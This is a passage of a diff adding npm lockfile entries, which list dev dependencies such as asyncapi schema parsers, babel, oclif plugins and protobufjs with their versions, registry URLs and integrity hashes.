+ }
+ },
+ "node_modules/@asyncapi/openapi-schema-parser": {
+ "version": "3.0.24",
+ "resolved": "https://registry.npmjs.org/@asyncapi/openapi-schema-parser/-/openapi-schema-parser-3.0.24.tgz",
+ "integrity": "sha512-7wz2yVDedJMS+TzOuqCvRWJMc6pNHICKZcOhnW6ZvyVLAh7hYIqQE1WA4OoXT4cKVbwSU3V2Q4bZagSsAIQd6Q==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@asyncapi/parser": "^3.1.0",
+ "@openapi-contrib/openapi-schema-to-json-schema": "~3.2.0",
+ "ajv": "^8.11.0",
+ "ajv-errors": "^3.0.0",
+ "ajv-formats": "^2.1.1"
+ }
+ },
+ "node_modules/@asyncapi/parser": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/@asyncapi/parser/-/parser-3.6.0.tgz",
+ "integrity": "sha512-6S0Yr8vI418a1IrpGsOYbfWVo9+aHvSqN2oSkiY0YJltS/C7oDOt9e0mo6hSld8bg+EeKrtgkVmpW4obh1JFvA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@asyncapi/specs": "^6.11.1",
+ "@openapi-contrib/openapi-schema-to-json-schema": "~3.2.0",
+ "@stoplight/json": "3.21.0",
+ "@stoplight/json-ref-readers": "^1.2.2",
+ "@stoplight/json-ref-resolver": "^3.1.5",
+ "@stoplight/spectral-core": "^1.18.3",
+ "@stoplight/spectral-functions": "^1.7.2",
+ "@stoplight/spectral-parsers": "^1.0.2",
+ "@stoplight/spectral-ref-resolver": "^1.0.3",
+ "@stoplight/types": "^13.12.0",
+ "@types/json-schema": "^7.0.11",
+ "@types/urijs": "^1.19.19",
+ "ajv": "^8.17.1",
+ "ajv-errors": "^3.0.0",
+ "ajv-formats": "^2.1.1",
+ "avsc": "^5.7.5",
+ "js-yaml": "^4.1.1",
+ "jsonpath-plus": "^10.0.7",
+ "node-fetch": "2.6.7"
+ }
+ },
+ "node_modules/@asyncapi/protobuf-schema-parser": {
+ "version": "3.7.0",
+ "resolved": "https://registry.npmjs.org/@asyncapi/protobuf-schema-parser/-/protobuf-schema-parser-3.7.0.tgz",
+ "integrity": "sha512-6wePe1ZbzI2xLV4hvamX0aHB5XkFBFjsaVnJbGyPFjSuLJ7yC76RaGY1ZTdOEIewP6VNNUivHHshToekvVS+5Q==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@asyncapi/parser": "^3.6.0",
+ "@types/protocol-buffers-schema": "^3.4.3",
+ "protobufjs": "^7.4.0"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/@asyncapi/raml-dt-schema-parser": {
+ "version": "4.0.24",
+ "resolved": "https://registry.npmjs.org/@asyncapi/raml-dt-schema-parser/-/raml-dt-schema-parser-4.0.24.tgz",
+ "integrity": "sha512-Fy9IwCXPpXoG4Mkm7sXgWucSwYg8POwdx16xuHAmV6AerpcM8nk5mT/tARLtR3wrMst3OBwReEVYzwT3esSb8g==",
+ "deprecated": "Project is archived. See https://github.com/asyncapi-archived-repos/raml-dt-schema-parser\n.",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@asyncapi/parser": "^3.1.0",
+ "js-yaml": "^4.1.0",
+ "ramldt2jsonschema": "^1.2.3",
+ "webapi-parser": "^0.5.0"
+ }
+ },
+ "node_modules/@asyncapi/specs": {
+ "version": "6.11.1",
+ "resolved": "https://registry.npmjs.org/@asyncapi/specs/-/specs-6.11.1.tgz",
+ "integrity": "sha512-A3WBLqAKGoJ2+6FWFtpjBlCQ1oFCcs4GxF7zsIGvNqp/klGUHjlA3aAcZ9XMMpLGE8zPeYDz2x9FmO6DSuKraQ==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@types/json-schema": "^7.0.11"
+ }
+ },
+ "node_modules/@babel/code-frame": {
+ "version": "7.29.7",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz",
+ "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@babel/helper-validator-identifier": "^7.29.7",
+ "js-tokens": "^4.0.0",
+ "picocolors": "^1.1.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-validator-identifier": {
+ "version": "7.29.7",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz",
+ "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/runtime": {
+ "version": "7.29.7",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz",
+ "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@cspotcode/source-map-support": {
+ "version": "0.8.1",
+ "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz",
+ "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jridgewell/trace-mapping": "0.3.9"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@humanwhocodes/momoa": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/@humanwhocodes/momoa/-/momoa-2.0.4.tgz",
+ "integrity": "sha512-RE815I4arJFtt+FVeU1Tgp9/Xvecacji8w/V6XtXsWWH/wz/eNkNbhb+ny/+PlVZjV0rxQpRSQKNKE3lcktHEA==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "engines": {
+ "node": ">=10.10.0"
+ }
+ },
+ "node_modules/@inquirer/external-editor": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/@inquirer/external-editor/-/external-editor-1.0.3.tgz",
+ "integrity": "sha512-RWbSrDiYmO4LbejWY7ttpxczuwQyZLBUyygsA9Nsv95hpzUWwnNTVQmAq3xuh7vNwCp07UTmE5i11XAEExx4RA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "chardet": "^2.1.1",
+ "iconv-lite": "^0.7.0"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "peerDependencies": {
+ "@types/node": ">=18"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@jridgewell/resolve-uri": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",
+ "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/sourcemap-codec": {
+ "version": "1.5.5",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",
+ "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@jridgewell/trace-mapping": {
+ "version": "0.3.9",
+ "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz",
+ "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@jridgewell/resolve-uri": "^3.0.3",
+ "@jridgewell/sourcemap-codec": "^1.4.10"
+ }
+ },
+ "node_modules/@jsdevtools/ono": {
+ "version": "7.1.3",
+ "resolved": "https://registry.npmjs.org/@jsdevtools/ono/-/ono-7.1.3.tgz",
+ "integrity": "sha512-4JQNk+3mVzK3xh2rqd6RB4J46qUR19azEHBneZyTZM+c456qOrbbM/5xcR8huNCCcbVt7+UmizG6GuUvPvKUYg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@jsep-plugin/assignment": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/@jsep-plugin/assignment/-/assignment-1.3.0.tgz",
+ "integrity": "sha512-VVgV+CXrhbMI3aSusQyclHkenWSAm95WaiKrMxRFam3JSUiIaQjoMIw2sEs/OX4XifnqeQUN4DYbJjlA8EfktQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 10.16.0"
+ },
+ "peerDependencies": {
+ "jsep": "^0.4.0||^1.0.0"
+ }
+ },
+ "node_modules/@jsep-plugin/regex": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/@jsep-plugin/regex/-/regex-1.0.4.tgz",
+ "integrity": "sha512-q7qL4Mgjs1vByCaTnDFcBnV9HS7GVPJX5vyVoCgZHNSC9rjwIlmbXG5sUuorR5ndfHAIlJ8pVStxvjXHbNvtUg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 10.16.0"
+ },
+ "peerDependencies": {
+ "jsep": "^0.4.0||^1.0.0"
+ }
+ },
+ "node_modules/@jsep-plugin/ternary": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/@jsep-plugin/ternary/-/ternary-1.1.4.tgz",
+ "integrity": "sha512-ck5wiqIbqdMX6WRQztBL7ASDty9YLgJ3sSAK5ZpBzXeySvFGCzIvM6UiAI4hTZ22fEcYQVV/zhUbNscggW+Ukg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 10.16.0"
+ },
+ "peerDependencies": {
+ "jsep": "^0.4.0||^1.0.0"
+ }
+ },
+ "node_modules/@nodable/entities": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-3.0.0.tgz",
+ "integrity": "sha512-8L9xFeTYKhm49xfIypoe2W5wV1m/3Z58kT+7kR9A8OyFxcPduI4VmxaUMQyKYrRjUoLLSXv6EKKID5Tvj9cUVw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/nodable"
+ }
+ ],
+ "license": "MIT"
+ },
+ "node_modules/@nodelib/fs.scandir": {
+ "version": "2.1.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+ "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@nodelib/fs.stat": "2.0.5",
+ "run-parallel": "^1.1.9"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nodelib/fs.stat": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+ "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nodelib/fs.walk": {
+ "version": "1.2.8",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+ "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@nodelib/fs.scandir": "2.1.5",
+ "fastq": "^1.6.0"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@oclif/core": {
+ "version": "3.27.0",
+ "resolved": "https://registry.npmjs.org/@oclif/core/-/core-3.27.0.tgz",
+ "integrity": "sha512-Fg93aNFvXzBq5L7ztVHFP2nYwWU1oTCq48G0TjF/qC1UN36KWa2H5Hsm72kERd5x/sjy2M2Tn4kDEorUlpXOlw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@types/cli-progress": "^3.11.5",
+ "ansi-escapes": "^4.3.2",
+ "ansi-styles": "^4.3.0",
+ "cardinal": "^2.1.1",
+ "chalk": "^4.1.2",
+ "clean-stack": "^3.0.1",
+ "cli-progress": "^3.12.0",
+ "color": "^4.2.3",
+ "debug": "^4.3.5",
+ "ejs": "^3.1.10",
+ "get-package-type": "^0.1.0",
+ "globby": "^11.1.0",
+ "hyperlinker": "^1.0.0",
+ "indent-string": "^4.0.0",
+ "is-wsl": "^2.2.0",
+ "js-yaml": "^3.14.1",
+ "minimatch": "^9.0.4",
+ "natural-orderby": "^2.0.3",
+ "object-treeify": "^1.1.33",
+ "password-prompt": "^1.1.3",
+ "slice-ansi": "^4.0.0",
+ "string-width": "^4.2.3",
+ "strip-ansi": "^6.0.1",
+ "supports-color": "^8.1.1",
+ "supports-hyperlinks": "^2.2.0",
+ "widest-line": "^3.1.0",
+ "wordwrap": "^1.0.0",
+ "wrap-ansi": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
+ "node_modules/@oclif/core/node_modules/argparse": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+ "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "sprintf-js": "~1.0.2"
+ }
+ },
+ "node_modules/@oclif/core/node_modules/js-yaml": {
+ "version": "3.15.0",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.15.0.tgz",
+ "integrity": "sha512-ttBQIIQPDeLjpPOohtUdXuXUVoA2uIB6fEH9HyJ7234s5mBJ5wTx20njxplLZQgLaOfpmPQA7X2t5AX6tIPbog==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "argparse": "^1.0.7",
+ "esprima": "^4.0.0"
+ },
+ "bin": {
+ "js-yaml": "bin/js-yaml.js"
+ }
+ },
+ "node_modules/@oclif/errors": {
+ "version": "1.3.6",
+ "resolved": "https://registry.npmjs.org/@oclif/errors/-/errors-1.3.6.tgz",
+ "integrity": "sha512-fYaU4aDceETd89KXP+3cLyg9EHZsLD3RxF2IU9yxahhBpspWjkWi3Dy3bTgcwZ3V47BgxQaGapzJWDM33XIVDQ==",
+ "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "clean-stack": "^3.0.0",
+ "fs-extra": "^8.1",
+ "indent-string": "^4.0.0",
+ "strip-ansi": "^6.0.1",
+ "wrap-ansi": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8.0.0"
+ }
+ },
+ "node_modules/@oclif/plugin-autocomplete": {
+ "version": "3.2.53",
+ "resolved": "https://registry.npmjs.org/@oclif/plugin-autocomplete/-/plugin-autocomplete-3.2.53.tgz",
+ "integrity": "sha512-cGAgN9ujTDxa6C84d6XNVsmoFnDFfHwdiykAnAfym3oBLxoXBNYMZhmfnZ8KBWDy/r/DYf11BrGJwqKl2P0iSA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@oclif/core": "^4",
+ "ansis": "^3.16.0",
+ "debug": "^4.4.1",
+ "ejs": "^3.1.10"
+ },
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
+ "node_modules/@oclif/plugin-autocomplete/node_modules/@oclif/core": {
+ "version": "4.13.0",
+ "resolved": "https://registry.npmjs.org/@oclif/core/-/core-4.13.0.tgz",
+ "integrity": "sha512-j3NKgXE3qd0gvSYsCqDLb3VhW5KEg030VQhMnv5c0qNzPp6jBmF7cCDIQG4ROZIOqEfGbUoDDMAAzaC30vV99g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ansi-escapes": "^4.3.2",
+ "ansis": "^3.17.0",
+ "clean-stack": "^3.0.1",
+ "cli-spinners": "^2.9.2",
+ "debug": "^4.4.3",
+ "ejs": "^3.1.10",
+ "get-package-type": "^0.1.0",
+ "indent-string": "^4.0.0",
+ "is-wsl": "^2.2.0",
+ "lilconfig": "^3.1.3",
+ "minimatch": "^10.2.5",
+ "semver": "^7.8.1",
+ "string-width": "^4.2.3",
+ "supports-color": "^8",
+ "tinyglobby": "^0.2.17",
+ "widest-line": "^3.1.0",
+ "wordwrap": "^1.0.0",
+ "wrap-ansi": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
+ "node_modules/@oclif/plugin-autocomplete/node_modules/balanced-match": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz",
+ "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": "18 || 20 || >=22"
+ }
+ },
+ "node_modules/@oclif/plugin-autocomplete/node_modules/brace-expansion": {
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.8.tgz",
+ "integrity": "sha512-JZyDyq3D4AUifKTPOB7DELf6XsB3WdPuNxCtob1vFXPsSXhdAiHBWJ/tJ8HAc9aH84BK+5JFZLNkJKx3G9kzQg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^4.0.2"
+ },
+ "engines": {
+ "node": "20 || >=22"
+ }
+ },
+ "node_modules/@oclif/plugin-autocomplete/node_modules/minimatch": {
+ "version": "10.2.5",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz",
+ "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==",
+ "dev": true,
+ "license": "BlueOak-1.0.0",
+ "dependencies": {
+ "brace-expansion": "^5.0.5"
+ },
+ "engines": {
+ "node": "18 || 20 || >=22"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/@oclif/plugin-help": {
+ "version": "6.2.53",
+ "resolved": "https://registry.npmjs.org/@oclif/plugin-help/-/plugin-help-6.2.53.tgz",
+ "integrity": "sha512-njx2nTH87EQEEuz4ShNtL0gzzN981MRkDPqScbu+Tkd7NpIv30OHdTjQK1GzGtkf+V2RvSYIrX+LrLsUVh9DJw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@oclif/core": "^4"
+ },
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
+ "node_modules/@oclif/plugin-help/node_modules/@oclif/core": {
+ "version": "4.13.0",
+ "resolved": "https://registry.npmjs.org/@oclif/core/-/core-4.13.0.tgz",
+ "integrity": "sha512-j3NKgXE3qd0gvSYsCqDLb3VhW5KEg030VQhMnv5c0qNzPp6jBmF7cCDIQG4ROZIOqEfGbUoDDMAAzaC30vV99g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ansi-escapes": "^4.3.2",
+ "ansis": "^3.17.0",
+ "clean-stack": "^3.0.1",
+ "cli-spinners": "^2.9.2",
+ "debug": "^4.4.3",
+ "ejs": "^3.1.10",
+ "get-package-type": "^0.1.0",
+ "indent-string": "^4.0.0",
+ "is-wsl": "^2.2.0",
+ "lilconfig": "^3.1.3",
+ "minimatch": "^10.2.5",
+ "semver": "^7.8.1",
+ "string-width": "^4.2.3",
+ "supports-color": "^8",
+ "tinyglobby": "^0.2.17",
+ "widest-line": "^3.1.0",
+ "wordwrap": "^1.0.0",
+ "wrap-ansi": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
+ "node_modules/@oclif/plugin-help/node_modules/balanced-match": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz",
+ "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": "18 || 20 || >=22"
+ }
+ },
+ "node_modules/@oclif/plugin-help/node_modules/brace-expansion": {
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.8.tgz",
+ "integrity": "sha512-JZyDyq3D4AUifKTPOB7DELf6XsB3WdPuNxCtob1vFXPsSXhdAiHBWJ/tJ8HAc9aH84BK+5JFZLNkJKx3G9kzQg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^4.0.2"
+ },
+ "engines": {
+ "node": "20 || >=22"
+ }
+ },
+ "node_modules/@oclif/plugin-help/node_modules/minimatch": {
+ "version": "10.2.5",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz",
+ "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==",
+ "dev": true,
+ "license": "BlueOak-1.0.0",
+ "dependencies": {
+ "brace-expansion": "^5.0.5"
+ },
+ "engines": {
+ "node": "18 || 20 || >=22"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/@oclif/plugin-version": {
+ "version": "2.2.50",
+ "resolved": "https://registry.npmjs.org/@oclif/plugin-version/-/plugin-version-2.2.50.tgz",
+ "integrity": "sha512-29GupU9+spTNLvctiIRW7MEclDXfTePHWnnVuTleuVeDtAWsiteeektamchXdpMriXs18FqF3UJCJP9jrN4P1w==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@oclif/core": "^4",
+ "ansis": "^3.17.0"
+ },
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
+ "node_modules/@oclif/plugin-version/node_modules/@oclif/core": {
+ "version": "4.13.0",
+ "resolved": "https://registry.npmjs.org/@oclif/core/-/core-4.13.0.tgz",
+ "integrity": "sha512-j3NKgXE3qd0gvSYsCqDLb3VhW5KEg030VQhMnv5c0qNzPp6jBmF7cCDIQG4ROZIOqEfGbUoDDMAAzaC30vV99g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ansi-escapes": "^4.3.2",
+ "ansis": "^3.17.0",
+ "clean-stack": "^3.0.1",
+ "cli-spinners": "^2.9.2",
+ "debug": "^4.4.3",
+ "ejs": "^3.1.10",
+ "get-package-type": "^0.1.0",
+ "indent-string": "^4.0.0",
+ "is-wsl": "^2.2.0",
+ "lilconfig": "^3.1.3",
+ "minimatch": "^10.2.5",
+ "semver": "^7.8.1",
+ "string-width": "^4.2.3",
+ "supports-color": "^8",
+ "tinyglobby": "^0.2.17",
+ "widest-line": "^3.1.0",
+ "wordwrap": "^1.0.0",
+ "wrap-ansi": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
+ "node_modules/@oclif/plugin-version/node_modules/balanced-match": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz",
+ "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": "18 || 20 || >=22"
+ }
+ },
+ "node_modules/@oclif/plugin-version/node_modules/brace-expansion": {
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.8.tgz",
+ "integrity": "sha512-JZyDyq3D4AUifKTPOB7DELf6XsB3WdPuNxCtob1vFXPsSXhdAiHBWJ/tJ8HAc9aH84BK+5JFZLNkJKx3G9kzQg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^4.0.2"
+ },
+ "engines": {
+ "node": "20 || >=22"
+ }
+ },
+ "node_modules/@oclif/plugin-version/node_modules/minimatch": {
+ "version": "10.2.5",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz",
+ "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==",
+ "dev": true,
+ "license": "BlueOak-1.0.0",
+ "dependencies": {
+ "brace-expansion": "^5.0.5"
+ },
+ "engines": {
+ "node": "18 || 20 || >=22"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/@openapi-contrib/openapi-schema-to-json-schema": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/@openapi-contrib/openapi-schema-to-json-schema/-/openapi-schema-to-json-schema-3.2.0.tgz",
+ "integrity": "sha512-Gj6C0JwCr8arj0sYuslWXUBSP/KnUlEGnPW4qxlXvAl543oaNQgMgIgkQUA6vs5BCCvwTEiL8m/wdWzfl4UvSw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "fast-deep-equal": "^3.1.3"
+ }
+ },
+ "node_modules/@protobufjs/aspromise": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz",
+ "integrity": "sha512-j+gKExEuLmKwvz3OgROXtrJ2UG2x8Ch2YZUxahh+s1F2HZ+wAceUNLkvy6zKCPVRkU++ZWQrdxsUeQXmcg4uoQ==",
+ "dev": true,
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/@protobufjs/base64": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@protobufjs/base64/-/base64-1.1.2.tgz",
+ "integrity": "sha512-AZkcAA5vnN/v4PDqKyMR5lx7hZttPDgClv83E//FMNhR2TMcLUhfRUBHCmSl0oi9zMgDDqRUJkSxO3wm85+XLg==",
+ "dev": true,
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/@protobufjs/codegen": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/@protobufjs/codegen/-/codegen-2.0.5.tgz",
+ "integrity": "sha512-zgXFLzW3Ap33e6d0Wlj4MGIm6Ce8O89n/apUaGNB/jx+hw+ruWEp7EwGUshdLKVRCxZW12fp9r40E1mQrf/34g==",
+ "dev": true,
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/@protobufjs/eventemitter": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@protobufjs/eventemitter/-/eventemitter-1.1.1.tgz",
+ "integrity": "sha512-vW1GmwMZNnL+gMRaovlh9yZX74kc+TTU3FObkkurpMaRtBfLP3ldjS9KQWlwZgraRE0+dheEEoAxdzcJQ8eXZg==",
+ "dev": true,
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/@protobufjs/fetch": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@protobufjs/fetch/-/fetch-1.1.1.tgz",
+ "integrity": "sha512-GpptLrs57adMSuHi3VNj0mAF8dwh36LMaYF6XyJ6JMWlVsc+t42tm1HSEDmOs3A8fC9yyeisgLhsTVQokOZ0zw==",
+ "dev": true,
+ "license": "BSD-3-Clause",
+ "dependencies": {
+ "@protobufjs/aspromise": "^1.1.1"
+ }
+ },
+ "node_modules/@protobufjs/float": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/@protobufjs/float/-/float-1.0.2.tgz",
+ "integrity": "sha512-Ddb+kVXlXst9d+R9PfTIxh1EdNkgoRe5tOX6t01f1lYWOvJnSPDBlG241QLzcyPdoNTsblLUdujGSE4RzrTZGQ==",
+ "dev": true,
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/@protobufjs/path": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@protobufjs/path/-/path-1.1.2.tgz",
+ "integrity": "sha512-6JOcJ5Tm08dOHAbdR3GrvP+yUUfkjG5ePsHYczMFLq3ZmMkAD98cDgcT2iA1lJ9NVwFd4tH/iSSoe44YWkltEA==",
+ "dev": true,
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/@protobufjs/pool": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@protobufjs/pool/-/pool-1.1.0.tgz",
+ "integrity": "sha512-0kELaGSIDBKvcgS4zkjz1PeddatrjYcmMWOlAuAPwAeccUrPHdUqo/J6LiymHHEiJT5NrF1UVwxY14f+fy4WQw==",
+ "dev": true,
+ "license": "BSD-3-Clause"
+ },
